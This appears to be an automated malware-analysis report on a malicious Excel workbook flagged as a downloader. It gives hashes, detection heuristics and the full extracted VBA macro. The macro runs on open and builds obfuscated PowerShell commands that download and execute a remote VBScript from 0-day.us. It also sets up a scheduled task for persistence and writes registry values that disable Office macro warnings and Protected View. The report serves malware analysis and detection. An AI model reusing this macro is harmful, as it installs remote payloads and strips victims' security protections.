Office (OOXML) malware analysis — malicious · 7112d23b6034a525

MALICIOUS

Office (OOXML)

23.6 KB Created: 2015-06-05 18:17:20 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-02-23

MD5: 42cf82b912f67bb7de92080e88c51796 SHA-1: 26fd994f86751f9192d0f5fb67e2133ff119ad4d SHA-256: 7112d23b6034a525902975002a57cc587ce899aab96e88e58e67b96dc77bb4c1

350 Risk Score

Heuristics 8

ClamAV: Xls.Downloader.Generic-6750544-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Xls.Downloader.Generic-6750544-0
VBA project inside OOXML medium 5 related findings OOXML_VBA

Document contains a VBA project — VBA macros present
Potential Shell call in VBA critical OLE_VBA_SHELL

Potential Shell call in VBA
Matched line in script
```
Shell (Last)
```
WScript.Shell usage critical OLE_VBA_WSCRIPT

WScript.Shell usage
Matched line in script
```
Set wso = CreateObject("WScript.Shell")
```
CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call
Matched line in script
```
Set wso = CreateObject("WScript.Shell")
```
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
Workbook_Open macro low OLE_VBA_WBOPEN

Workbook_Open macro
Matched line in script
```
Private Sub Workbook_Open()
```
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL http://0-day.us/img/1.vbs In document text (OOXML body / shared strings)
- http://0-day.us/img/1.vbs\\In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source from OOXML)	18297 bytes
SHA-256: `30134650b0a5b5d995511a203e9500ef72483308756b3ff0a5d39a1186c09423`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "Module1" Sub asdasd() End Sub Attribute VB_Name = "ThisWorkbook" Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Private Sub Workbook_Open() exec000 = Chr(99) exec000 = exec000 & Chr(109) exec000 = exec000 & Chr(100) exec000 = exec000 & Chr(46) exec000 = exec000 & Chr(101) exec000 = exec000 & Chr(120) exec000 = exec000 & Chr(101) exec000 = exec000 & Chr(32) & Chr(47) exec000 = exec000 & Chr(99) exec000 = exec000 & Chr(32) & Chr(112) exec000 = exec000 & Chr(111) exec000 = exec000 & Chr(119) exec000 = exec000 & Chr(101) exec000 = exec000 & Chr(114) exec000 = exec000 & Chr(115) exec000 = exec000 & Chr(104) exec000 = exec000 & Chr(101) exec000 = exec000 & Chr(108) exec000 = exec000 & Chr(108) & Chr(32) & Chr(45) & Chr(87) exec000 = exec000 & Chr(32) & Chr(72) exec000 = exec000 & Chr(105) exec000 = exec000 & Chr(100) exec000 = exec000 & Chr(100) exec000 = exec000 & Chr(101) exec000 = exec000 & Chr(110) & Chr(32) & Chr(40) exec000 = exec000 & Chr(78) exec111 = Chr(101) exec111 = exec111 & Chr(119) exec111 = exec111 & Chr(45) exec111 = exec111 & Chr(79) exec111 = exec111 & Chr(98) exec111 = exec111 & Chr(106) exec111 = exec111 & Chr(101) exec111 = exec111 & Chr(99) exec111 = exec111 & Chr(116) & Chr(32) & Chr(83) exec111 = exec111 & Chr(121) exec111 = exec111 & Chr(115) exec111 = exec111 & Chr(116) exec111 = exec111 & Chr(101) exec111 = exec111 & Chr(109) exec111 = exec111 & Chr(46) exec111 = exec111 & Chr(78) exec111 = exec111 & Chr(101) exec111 = exec111 & Chr(84) exec111 = exec111 & Chr(46) exec111 = exec111 & Chr(87) exec111 = exec111 & Chr(101) exec111 = exec111 & Chr(66) exec111 = exec111 & Chr(67) exec222 = Chr(108) exec222 = exec222 & Chr(105) exec222 = exec222 & Chr(101) exec222 = exec222 & Chr(78) exec222 = exec222 & Chr(84) exec222 = exec222 & Chr(41) exec222 = exec222 & Chr(46) exec222 = exec222 & Chr(68) exec222 = exec222 & Chr(111) exec222 = exec222 & Chr(119) exec222 = exec222 & Chr(110) exec222 = exec222 & Chr(108) exec222 = exec222 & Chr(111) exec222 = exec222 & Chr(97) exec222 = exec222 & Chr(100) exec222 = exec222 & Chr(70) exec222 = exec222 & Chr(105) exec222 = exec222 & Chr(108) exec222 = exec222 & Chr(101) exec333 = "('http://0-day.us/img/1.vbs'" exec444 = Chr(44) exec444 = exec444 & Chr(39) exec444 = exec444 & Chr(37) exec444 = exec444 & Chr(80) exec444 = exec444 & Chr(117) exec444 = exec444 & Chr(98) exec444 = exec444 & Chr(108) exec444 = exec444 & Chr(105) exec444 = exec444 & Chr(99) exec444 = exec444 & Chr(37) exec444 = exec444 & Chr(92) exec555 = Chr(92) exec555 = exec555 & Chr(115) exec555 = exec555 & Chr(118) exec555 = exec555 & Chr(99) exec555 = exec555 & Chr(104) exec555 = exec555 & Chr(111) exec555 = exec555 & Chr(115) exec555 = exec555 & Chr(116) exec555 = exec555 & Chr(51) exec555 = exec555 & Chr(50) & Chr(53) exec555 = exec555 & Chr(46) exec555 = exec555 & Chr(118) exec555 = exec555 & Chr(98) exec555 = exec555 & Chr(115) exec666 = Chr(39) exec666 = exec666 & Chr(41) exec666 = exec666 & Chr(59) exec666 = exec666 & Chr(83) exec666 = exec666 & Chr(116) exec666 = exec666 & Chr(97) exec666 = exec666 & Chr(114) exec666 = exec666 & Chr(116) exec666 = exec666 & Chr(45) exec666 = exec666 & Chr(80) exec666 = exec666 & Chr(114) exec666 = exec666 & Chr(111) exec666 = exec666 & Chr(99) exec777 = Chr(101) & Chr(115) & Chr(115) & Chr(32) & Chr(39) & Chr(37) & Chr(80) exec888 = Chr(117) exec888 = exec888 & Chr(98) exec888 = exec888 & Chr(108) exec999 = Chr(105) exec999 = exec999 & Chr(99) exec999 = exec999 & Chr(37) exec00010 = Chr(92) exec00010 = exec00010 & Chr(92) exec00010 = exec00010 & Chr(115) exec00011 = Chr(118) exec00012 = Chr(99) exec00013 = Chr(104) & Chr(111) exec00014 = Chr(115) exec00014 = exec00014 & Chr(116) exec00014 = exec00014 & Chr(51) exec00014 = exec00014 & Chr(50) & Chr(53) exec00014 = exec00014 & Chr(46) exec00014 = exec00014 & Chr(118) exec00014 = exec00014 & Chr(98) exec00014 = exec00014 & Chr(115) exec00014 = exec00014 & Chr(39) Last = exec000 + exec111 + exec222 + exec333 + exec444 + exec555 + exec666 + exec777 + exec888 + exec999 + exec00010 + exec00011 + exec00012 + exec00013 + exec00014 Shell (Last) exec00 = Chr(83) exec00 = exec00 & Chr(99) exec00 = exec00 & Chr(104) exec00 = exec00 & Chr(84) exec00 = exec00 & Chr(97) exec00 = exec00 & Chr(115) exec00 = exec00 & Chr(107) exec00 = exec00 & Chr(115) & Chr(32) & Chr(47) exec00 = exec00 & Chr(67) exec00 = exec00 & Chr(114) exec00 = exec00 & Chr(101) exec00 = exec00 & Chr(97) exec00 = exec00 & Chr(116) exec00 = exec00 & Chr(101) & Chr(32) & Chr(47) exec00 = exec00 & Chr(115) exec00 = exec00 & Chr(99) & Chr(32) & Chr(77) exec00 = exec00 & Chr(73) exec00 = exec00 & Chr(78) exec00 = exec00 & Chr(85) exec00 = exec00 & Chr(84) exec00 = exec00 & Chr(69) & Chr(32) & Chr(47) exec01 = Chr(77) exec01 = exec01 & Chr(79) & Chr(32) & Chr(49) & Chr(32) & Chr(47) exec01 = exec01 & Chr(84) exec01 = exec01 & Chr(78) & Chr(32) & Chr(87) exec01 = exec01 & Chr(105) exec01 = exec01 & Chr(110) exec01 = exec01 & Chr(100) exec01 = exec01 & Chr(111) exec01 = exec01 & Chr(119) exec01 = exec01 & Chr(115) exec01 = exec01 & Chr(85) exec01 = exec01 & Chr(112) exec01 = exec01 & Chr(100) exec01 = exec01 & Chr(97) exec01 = exec01 & Chr(116) exec01 = exec01 & Chr(101) & Chr(32) & Chr(47) exec01 = exec01 & Chr(84) exec01 = exec01 & "R ""P" exec02 = exec02 & Chr(111) exec02 = exec02 & Chr(119) exec02 = exec02 & Chr(101) exec02 = exec02 & Chr(114) exec02 = exec02 & Chr(115) exec02 = exec02 & Chr(104) exec02 = exec02 & Chr(101) exec02 = exec02 & Chr(108) exec02 = exec02 & Chr(108) & Chr(32) & Chr(45) exec02 = exec02 & Chr(119) exec02 = exec02 & Chr(105) exec02 = exec02 & Chr(110) exec02 = exec02 & Chr(100) exec02 = exec02 & Chr(111) exec02 = exec02 & Chr(119) exec02 = exec02 & Chr(115) exec02 = exec02 & Chr(116) exec02 = exec02 & Chr(121) exec02 = exec02 & Chr(108) exec02 = exec02 & Chr(101) & Chr(32) & Chr(104) exec02 = exec02 & Chr(105) exec02 = exec02 & Chr(100) exec02 = exec02 & Chr(100) exec02 = exec02 & Chr(101) exec02 = exec02 & Chr(110) & Chr(32) & Chr(40) exec02 = exec02 & Chr(78) exec02 = exec02 & Chr(101) exec02 = exec02 & Chr(119) exec02 = exec02 & Chr(45) exec02 = exec02 & Chr(79) exec02 = exec02 & Chr(98) exec02 = exec02 & Chr(106) exec02 = exec02 & Chr(101) exec02 = exec02 & Chr(99) exec02 = exec02 & Chr(116) & Chr(32) & Chr(83) exec02 = exec02 & Chr(121) exec03 = Chr(115) exec03 = exec03 & Chr(116) exec03 = exec03 & Chr(101) exec03 = exec03 & Chr(109) exec03 = exec03 & Chr(46) exec03 = exec03 & Chr(78) exec03 = exec03 & Chr(101) exec03 = exec03 & Chr(116) exec03 = exec03 & Chr(46) exec03 = exec03 & Chr(87) exec03 = exec03 & Chr(101) exec03 = exec03 & Chr(98) exec03 = exec03 & Chr(67) exec03 = exec03 & Chr(108) exec03 = exec03 & Chr(105) exec03 = exec03 & Chr(101) exec03 = exec03 & Chr(110) exec03 = exec03 & Chr(116) exec03 = exec03 & Chr(41) exec03 = exec03 & Chr(46) exec03 = exec03 & Chr(68) exec03 = exec03 & Chr(111) exec03 = exec03 & Chr(119) exec03 = exec03 & Chr(110) exec03 = exec03 & Chr(108) exec03 = exec03 & Chr(111) exec03 = exec03 & Chr(97) exec03 = exec03 & Chr(100) exec03 = exec03 & Chr(70) exec03 = exec03 & Chr(105) exec03 = exec03 & Chr(108) exec04 = Chr(101) exec04 = exec04 & Chr(40) exec04 = exec04 & Chr(92) exec04 = exec04 & Chr(92) exec04 = exec04 & "\""http://0-day.us/img/1.vbs\\" exec05 = "\"",\\\""$" exec05 = exec05 & Chr(101) exec05 = exec05 & Chr(110) exec05 = exec05 & Chr(118) exec05 = exec05 & Chr(58) exec05 = exec05 & Chr(112) exec05 = exec05 & Chr(117) exec05 = exec05 & Chr(98) exec05 = exec05 & Chr(108) exec05 = exec05 & Chr(105) exec05 = exec05 & Chr(99) exec05 = exec05 & Chr(92) exec05 = exec05 & Chr(115) exec05 = exec05 & Chr(118) exec05 = exec05 & Chr(99) exec05 = exec05 & Chr(104) exec05 = exec05 & Chr(111) exec05 = exec05 & Chr(115) exec05 = exec05 & Chr(116) exec05 = exec05 & Chr(51) exec05 = exec05 & Chr(50) exec05 = exec05 & Chr(46) exec05 = exec05 & Chr(118) exec05 = exec05 & Chr(98) exec05 = exec05 & Chr(115) exec05 = exec05 & Chr(92) exec06 = Chr(92) exec06 = exec06 & "\"")" exec06 = exec06 & Chr(59) exec06 = exec06 & Chr(40) exec06 = exec06 & Chr(78) exec06 = exec06 & Chr(101) exec06 = exec06 & Chr(119) exec06 = exec06 & Chr(45) exec06 = exec06 & Chr(79) exec06 = exec06 & Chr(98) exec06 = exec06 & Chr(106) exec06 = exec06 & Chr(101) exec06 = exec06 & Chr(99) exec06 = exec06 & Chr(116) & Chr(32) & Chr(45) exec06 = exec06 & Chr(99) exec06 = exec06 & Chr(111) exec06 = exec06 & Chr(109) & Chr(32) & Chr(83) exec06 = exec06 & Chr(104) exec06 = exec06 & Chr(101) exec06 = exec06 & Chr(108) exec06 = exec06 & Chr(108) exec06 = exec06 & Chr(46) exec06 = exec06 & Chr(65) exec06 = exec06 & Chr(112) exec06 = exec06 & Chr(112) exec07 = Chr(108) exec07 = exec07 & Chr(105) exec07 = exec07 & Chr(99) exec07 = exec07 & Chr(97) exec07 = exec07 & Chr(116) exec07 = exec07 & Chr(105) exec07 = exec07 & Chr(111) exec07 = exec07 & Chr(110) exec07 = exec07 & Chr(41) exec07 = exec07 & Chr(46) exec07 = exec07 & Chr(83) exec07 = exec07 & Chr(104) exec07 = exec07 & Chr(101) exec07 = exec07 & Chr(108) exec07 = exec07 & Chr(108) exec07 = exec07 & Chr(69) exec07 = exec07 & Chr(120) exec08 = Chr(101) exec08 = exec08 & Chr(99) exec08 = exec08 & Chr(117) exec08 = exec08 & Chr(116) exec08 = exec08 & Chr(101) exec08 = exec08 & Chr(40) exec08 = exec08 & Chr(92) exec08 = exec08 & Chr(92) exec08 = exec08 & "\""$" exec09 = Chr(101) exec09 = exec09 & Chr(110) exec09 = exec09 & Chr(118) exec09 = exec09 & Chr(58) exec09 = exec09 & Chr(112) exec0010 = Chr(117) exec0010 = exec0010 & Chr(98) exec0010 = exec0010 & Chr(108) exec0010 = exec0010 & Chr(105) exec0011 = Chr(99) exec0011 = exec0011 & Chr(92) exec0011 = exec0011 & Chr(115) exec0011 = exec0011 & Chr(118) exec0011 = exec0011 & Chr(99) exec0012 = Chr(104) exec0012 = exec0012 & Chr(111) exec0012 = exec0012 & Chr(115) exec0013 = Chr(116) exec0013 = exec0013 & Chr(51) exec0013 = exec0013 & Chr(50) exec0013 = exec0013 & Chr(46) exec0014 = Chr(118) exec0014 = exec0014 & Chr(98) exec0014 = exec0014 & Chr(115) exec0014 = exec0014 & Chr(92) exec0014 = exec0014 & Chr(92) exec0014 = exec0014 & "\"")" exec0014 = exec0014 & ";"" /" exec0014 = exec0014 & Chr(70) Last0001 = exec00 + exec01 + exec02 + exec03 + exec04 + exec05 + exec06 + exec07 + exec08 + exec09 + exec0010 + exec0011 + exec0012 + exec0013 + exec0014 Shell (Last0001) Set wso = CreateObject("WScript.Shell") wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Word\Security\VBAWarnings", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Word\Security\VBAWarnings", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Word\Security\VBAWarnings", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Word\Security\VBAWarnings", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Word\Security\VBAWarnings", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\PowerPoint\Security\VBAWarnings", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\PowerPoint\Security\VBAWarnings", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\PowerPoint\Security\VBAWarnings", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\PowerPoint\Security\VBAWarnings", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\PowerPoint\Security\VBAWarnings", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Excel\Security\VBAWarnings", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Excel\Security\VBAWarnings", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Excel\Security\VBAWarnings", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Excel\Security\VBAWarnings", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Excel\Security\VBAWarnings", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Word\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Word\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Word\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\PowerPoint\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\PowerPoint\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\PowerPoint\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Excel\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Excel\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Excel\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Word\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Word\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Word\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\PowerPoint\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\PowerPoint\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\PowerPoint\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Excel\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Excel\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Excel\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Word\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Word\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Word\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\PowerPoint\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\PowerPoint\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\PowerPoint\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Excel\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Excel\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Excel\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Word\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Word\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Word\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\PowerPoint\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\PowerPoint\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\PowerPoint\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Excel\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Excel\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Excel\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Word\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Word\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Word\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\PowerPoint\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\PowerPoint\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\PowerPoint\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD" End Sub Attribute VB_Name = "Sheet1" Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = False Attribute VB_Customizable = True
`vbaProject_00.bin`	vba-project	OOXML VBA project: xl/vbaProject.bin	68608 bytes
SHA-256: `c966495befe89103143434e3a7c75a711295adbf749b2f8c1bea6c04243b123b`
Detection ClamAV: Xls.Downloader.Generic-6750544-0 Obfuscation or payload: unlikely

Open this report in the interactive analyzer, or submit your own file for analysis.